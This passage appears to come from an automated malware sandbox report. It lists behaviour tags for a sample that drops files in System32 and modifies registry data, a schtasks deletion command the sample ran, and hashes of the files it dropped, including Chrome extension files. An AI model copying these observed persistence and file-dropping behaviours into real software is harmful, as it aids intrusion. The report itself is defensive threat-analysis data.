- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1840 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "IneAAIMTLAmAoaeHA"3⤵PID:5104
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5f6a2e0d1ca283c201bcb32099d149b23
SHA1ce6fe61e2ae52c2654233ba3f82c5f762f0c2308
SHA2568bd8de0cd343f13b586930c4e547f13133bb9a104251b1d8cd93e42a3791806b
SHA512f52c2ec31ec4b40d59838901ddc882f7fb9a0d5d15ab82a53e5e3be86d66a04c5e60ccb2519c2d7bef7093bfad91316254a0cc3e2d092cc29086ebb99a4db4a4
-
Filesize
2KB
MD5ebe9f0c4d9dc879a2efec600b1633e67
SHA10d5bdeee5ef44cb7d795b79f77287b45bc1ebded
SHA25657a0215d1f4afeace2cadd86256e7b66899b1edc696128e35f19c2c184b2383d
SHA512535201d7515bd9331d698f15b355d495ddd622410ee6de10cca994b36d61562f1a589879751c90bb7260f9c6d4493d0b1770ac7bdccd26b509f5c4986a9f0788
-
Filesize
2KB
MD572d1f6af7624abc28878f1b6736ae7a8
SHA14d1c4b42e6ef18a4c84abc9ae9dd0b9de4e333f8
SHA25604f7f1c178f145afbca4b097a57591142a779d53ad0c1bd02e1ec1478e733851
SHA5120f8d1656e7cd2ed4a10dd1d31eb4d3ce2689f5dd681e4f83ad01397a3a7ce613ead0fbc1357a6af3ba4fef2a26d0a0db6812faa29af562f866a5728a9dd6cee8
-
Filesize
2KB
MD5c10f3f38528b68b4b65e245392dbacea
SHA129af608fbc2ae9ec6cf97b6c7a9219b3ab4a5eb3
SHA2569ca9072a9616f39175b09530dc9ff6fa0cb0bc279f937242fef01ba38ddc4ef4
SHA51216e2276a23ff2363f95e13b6d428d0ce2409b2749b6fcd015d7b7c21e2d30e79989096292e06845eba5396ff24f13ace013f3ee2d28dedeb58d4485d04a3bb4e
-
Filesize
1.2MB
MD5ea94b7f7ffb7d8609cd54e88672c1595
SHA1e2c10ba9ca4f61c69e9af507c1c37161a5f2bee2
SHA25620bdba81af095224250583ed3e407203fe34c0fec7d213d652c2c85d643547aa
SHA51228591672ec573b81d85c56480d02f760af69291a24786a6c4d44165104eff46f1f591e724a8d01378e03405f3f3c3155ac80fc9e42658b22894ebe6459a77e5a
-
Filesize
2KB
MD5478f7c19f805fdbd02b4cb0baed717f9
SHA1c42befc50d95c8381f8144a93ff799f03c918cb0
SHA256257f6793c1d88d4508884bee2652cbb3da4d43aaf25204c2a6075ce74e68e632
SHA512c8dd6ad4d25e8f9ae4cec5a23faafe1f5ac902eb2d4eeffd61695e3b0544c2634ceff70cd2e314b95b6963ddede90c598b44c5bd1f0b7e80c72855c008e9dbc5
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ijelnahiojlfbmiihbmgkaldffppfelp\1.0.0.0\_locales\vi\messages.json
Filesize147B
MD52cf9f6018ecf73f93970fa7e24256bbf
SHA19eaa3b6cd7704a6f3844e77f34ce403ba5abcb61
SHA25681105cf7febd6583d969d8e91545f17958dca6e62a82a6a15c252e3d76775467
SHA5129fc329862aee1023d4993b42a8b6bc02446acde37e5f9e8400cdc3e72e3abbac8b03ea09b23383f87b767dd6e1ea9c0d53dda9a87e4a7addd0451843b07cf35f
-
Filesize
10KB
MD572d857b043ceb2bba46ef9130d13d369
SHA1e040f3b3ebe0772ef51134c552107fc138982693
SHA2565aa4f32c6159b7268a76857c3c7511fb89ae3a43614aa0d787ad878fdb97126b
SHA5120ff3809970fb91be972d00311dfdb9c01f63875ea4894dddd8ca29d65323f7a02deb891aa238450feb421a01198b30d614264e6920660d44378ef54629d6e493
-
Filesize
3KB
MD5f6c90ab0db80c6c3ea92556fda7273c7
SHA101d3866b1887cbb0abe9701f6b49c5dbc66a7dfa
SHA256a823c3b6f157c50315251d43db740ad37a736b967f0500e024e3a0f84192b269
SHA512aa6b71e3a8fa46702787d190e3633b1ead0f66cce81065fa2262dde59c683a7fc48846fa2b0bbe94a050564855fc7a79842f0abfa53cc3315e4c766b3c4c1fbe
-
Filesize
1KB
MD5dd3d8b3f401e27827016ae88f9ebe4e9
SHA1a157da4d3f97839581f60a1b4ed388e7669483e9
SHA256efb8d494e263291218be6285288ab02b8838ee88b12d19584c5ef77f3bafb909
SHA5123f711a9402d48b36deaa2c3a6936c7aec559c20dc37f9774f6c377899ee3b89bae2f65c6cac47cdfe5f7822fdf6a45a17dd76e155a3169f795408fbe1efe7dec
-
Filesize
6.1MB
MD5c6698a8fc1514a248a20a00995653345
SHA15216ce981ed48bd83ef271adedf5a03d9ba755b2
SHA256ce9d38213886430eb2541c030346245c88744c12a6eaa288eda579ded3568d68
SHA512f7298033ea13da300f56e8957b412f6d2cf746897fcb7b559a75e52290751500eb0aaa70fe2444d135ca819d04a8f680d28e36251250a0a247096e6c85c0a93c
-
Filesize
6.1MB
MD5c6698a8fc1514a248a20a00995653345
SHA15216ce981ed48bd83ef271adedf5a03d9ba755b2
SHA256ce9d38213886430eb2541c030346245c88744c12a6eaa288eda579ded3568d68
SHA512f7298033ea13da300f56e8957b412f6d2cf746897fcb7b559a75e52290751500eb0aaa70fe2444d135ca819d04a8f680d28e36251250a0a247096e6c85c0a93c
-
Filesize
6.9MB
MD5156b5f562eed000e8f7b909e982ab0e5
SHA15377b4b0db2df54d618e7d23600796a0b93b3459
SHA256c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88
SHA51271815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80
-
Filesize
6.9MB
MD5156b5f562eed000e8f7b909e982ab0e5
SHA15377b4b0db2df54d618e7d23600796a0b93b3459
SHA256c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88
SHA51271815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80
-
Filesize
6.9MB
MD5156b5f562eed000e8f7b909e982ab0e5
SHA15377b4b0db2df54d618e7d23600796a0b93b3459
SHA256c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88
SHA51271815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80
-
Filesize
6.9MB
MD5156b5f562eed000e8f7b909e982ab0e5
SHA15377b4b0db2df54d618e7d23600796a0b93b3459
SHA256c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88
SHA51271815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
7KB
MD5a139f478756f168c02a2d04e2291475c
SHA1f0758e59a7c7b8938d0c72043bc2a441bf867719
SHA2566279310b5e60086d1ea41dd6ded937cc55cbb2303b970e7c79884d00ac37e975
SHA512ac3e9327bd28426e22d166f286cf6912b5091f982483f634f26286bdea30ae096b4432416c2a167d2e6249eecb1583d49551bb47f336e1e8f678fceda1ace61f
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize1KB
MD50f5cbdca905beb13bebdcf43fb0716bd
SHA19e136131389fde83297267faf6c651d420671b3f
SHA256a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060
SHA512a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize12KB
MD5f08250a2b642ce82a6c09cdc8ee17ed1
SHA150ec0a4b83b1fc3f277cabd421c4110d21d5466d
SHA2561345b2920bae3d96f16c0282ccecad6dcd4e5d77e360fc82d7443be1f18fe11f
SHA5121ed918844fdcdde3f8677b6b1526565fc2e7569114899871724cc415d555cca995fb3672f0416b823456bfe9ba7706554e63354ad4927ec01efbe55352bba795
-
Filesize
6.1MB
MD5178e42bdce36ff9ff138b84a33abbf72
SHA143614101a1688bb908bfb3c45055fd054358c6c4
SHA2560e1a4f3259423c5124b3105caaa76984205f458bedfdf1ff9b8bf8f9ac783aaa
SHA51274914d9884267e5aa32e1b95285f4becc8973160e2f412ea57acfaff86ef7dfa09f5ac990b0865929cb3db6abe814a55cbd65a2941852bfbf376007c3ea9e2b8
-
Filesize
6.9MB
MD5156b5f562eed000e8f7b909e982ab0e5
SHA15377b4b0db2df54d618e7d23600796a0b93b3459
SHA256c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88
SHA51271815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80
-
Filesize
6.9MB
MD5156b5f562eed000e8f7b909e982ab0e5
SHA15377b4b0db2df54d618e7d23600796a0b93b3459
SHA256c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88
SHA51271815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80
-
Filesize
6.9MB
MD5156b5f562eed000e8f7b909e982ab0e5
SHA15377b4b0db2df54d618e7d23600796a0b93b3459
SHA256c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88
SHA51271815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80
-
Filesize
6KB
MD5582980edacaafe3ad7592cf890b1150a
SHA1437034cfd822c29b1976030d2488d50cdc8e9ab0
SHA25687548d957825c32433abd182579ef02085c7b71b1b46548b40215bc231912348
SHA512e17ddd8eae381e244205ca7819f540c5de6f7f8230dd96707290f5444a87f05f69a9837aad0ee4ba4f58564576bf177387e1234201234ad9dc5abd69dd719d82
-
Filesize
268B
MD5a62ce44a33f1c05fc2d340ea0ca118a4
SHA11f03eb4716015528f3de7f7674532c1345b2717d
SHA2569f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA5129d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732
-
Filesize
6.1MB
MD5178e42bdce36ff9ff138b84a33abbf72
SHA143614101a1688bb908bfb3c45055fd054358c6c4
SHA2560e1a4f3259423c5124b3105caaa76984205f458bedfdf1ff9b8bf8f9ac783aaa
SHA51274914d9884267e5aa32e1b95285f4becc8973160e2f412ea57acfaff86ef7dfa09f5ac990b0865929cb3db6abe814a55cbd65a2941852bfbf376007c3ea9e2b8